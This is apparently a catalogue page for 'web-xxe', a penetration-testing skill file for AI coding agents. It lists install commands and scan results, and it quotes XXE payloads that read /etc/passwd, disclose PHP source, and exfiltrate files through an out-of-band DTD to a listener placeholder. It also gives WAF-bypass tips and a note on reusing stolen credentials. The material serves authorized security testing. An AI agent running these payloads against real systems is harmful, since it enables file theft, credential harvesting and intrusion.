web-xxe

web-xxe is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 94 tokens per session (1,497 once invoked), scanned B, original, MIT.

A security-testing guide for XML External Entity (XXE) flaws, where an XML parser follows unsafe instructions embedded in supplied XML. XML is a structured text format used by APIs, office files, images, and data feeds.

In plain words
What is it for?
Use it to assess XML and SOAP APIs, SAML, RSS imports, and DOCX, XLSX, SVG, or other XML-based uploads during authorized testing.
Why use it?
It helps find whether an application can be tricked into reading local files or making requests to internal services.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to assess XML and SOAP APIs, SAML, RSS imports, and DOCX, XLSX, SVG, or other XML-based uploads during authorized testing.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/s0ld13rr/pentestcode/xxe
About the project

PentestCode is a terminal-based autonomous penetration-testing system in which multiple agents run security tools, interpret results, track engagement state, and choose subsequent attack steps. It is for authorized security assessments and capture-the-flag work that require coordinated scanning, enumeration, exploitation, and evidence tracking. The catalogue skills and instructions support the project's agent-led penetration-testing workflow.

s0ld13rr/pentestcode · 1,287 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add s0ld13rr/pentestcode --skill xxe
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for web-xxe

README.md
[![agentmods](https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/xxe/github.svg)](https://agentmods.dev/skills/s0ld13rr/pentestcode/xxe)
Your own site
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/xxe"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/xxe/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for web-xxe

Your own site · 80×15
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/xxe"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/xxe.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 94 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,497 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 5 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 15
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 18
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 33
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 36
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Prompt Injection · line 28
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00094 $0.01497
Opus 5.5 $0.00038 $0.00599
Sonnet 5.5 $0.00019 $0.00299
Haiku 4.5 $0.00009 $0.00150

Measured 2d ago against content hash b634b765a822, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

web-xxe scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

- **Cloud metadata via XXE**: `file:///etc/passwd` works, but `http://169.254.169.254/latest/meta-data/` requires `http`/`https` scheme — some parsers block external HTTP but allow `file`. Try `file:///proc/net/tcp` for

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

skills/web/xxe/SKILL.md · 73 lines

How it starts

The opening of the file, as written. The whole thing — 73 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XXE (XML External Entity)

When this fires

The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into word/document.xml etc.).

Detect

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root>&x;</root>

If /etc/passwd comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below.

Decide

  • Entity value reflected in a response field → in-band file read.
  • Not reflected but parser fetches your DTD → blind XXE → OOB exfil via external DTD.
  • Non-printable/multiline files break the parser → use php://filter base64 wrapper (PHP) to read source.
  • Entity fetches arbitrary URLs → XXE→SSRF (hit internal services / cloud metadata; see web-ssrf).

Exploit → PROVE IMPACT

<!-- source disclosure (PHP): -->
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root>
<!-- blind OOB exfil (host evil.dtd on your listener): -->
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]>
<!-- evil.dtd: -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % e "<!ENTITY &#x25; x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x;

Proof required: contents of a server file (/etc/passwd, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags xxe; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward).

False positives / pitfalls

  • Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched.
  • WAF blocks <!DOCTYPE> → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form.
  • Reflected-but-not-parsed input = not XXE.

2024-2025 additions

Modern parser defaults (mostly safe by default)

  • Java (JAXP / DocumentBuilderFactory / SAXParserFactory): setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) and setFeature("http://xml.org/sax/features/external-general-entities", false) are default in JDK 11+ / recent libraries. Check feature.setFeature("http://xml.org/sax/features/external-parameter-entities", false).
  • .NET (XmlReader / XmlDocument): XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit default in .NET 6+. XmlDocument.XmlResolver = null blocks DTD.
  • Python (defusedxml / lxml / xml.etree): defusedxml safe by default; lxml.etree.XMLParser(resolve_entities=False); xml.etree.ElementTree no network by default.
  • Go (encoding/xml): Decoder.Entity not set = no external entities. Safe by default.
  • Node.js (xmldom / libxmljs / fast-xml-parser): Most disable DTD by default; check DOMParser options.

Read the full file on GitHub · 73 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago Changed · +28 lines scan A → B b634b765a822
  2. 3mo ago First seen · 45 lines · 94 tokens per session scan A d89013c1e00c

Subscribe to this mod's changes

web-xxe is a skill published in the GitHub repository s0ld13rr/pentestcode (1,287 stars, last pushed yesterday), licensed MIT. It adds 94 tokens to every session and 1,497 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

web-xxe compared with skills from other repositories

web-xxe next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
web-xxes0ld13rr/pentestcodeSkill1.3kyesterdayMITB94Claude Code, Codex
lictor-security-checkRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A135Claude Code
lictor-rotateRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A80Claude Code
lictor-explainRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A56Claude Code
openai-patternschandrudp29/skillhubSkill145mo agoMITA31Claude Code, Codex
lictor-fix-itRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0B75Claude Code
hunt-api-misconfigelementalsouls/Claude-BugHunterSkill28k4d agoMITA207Claude Code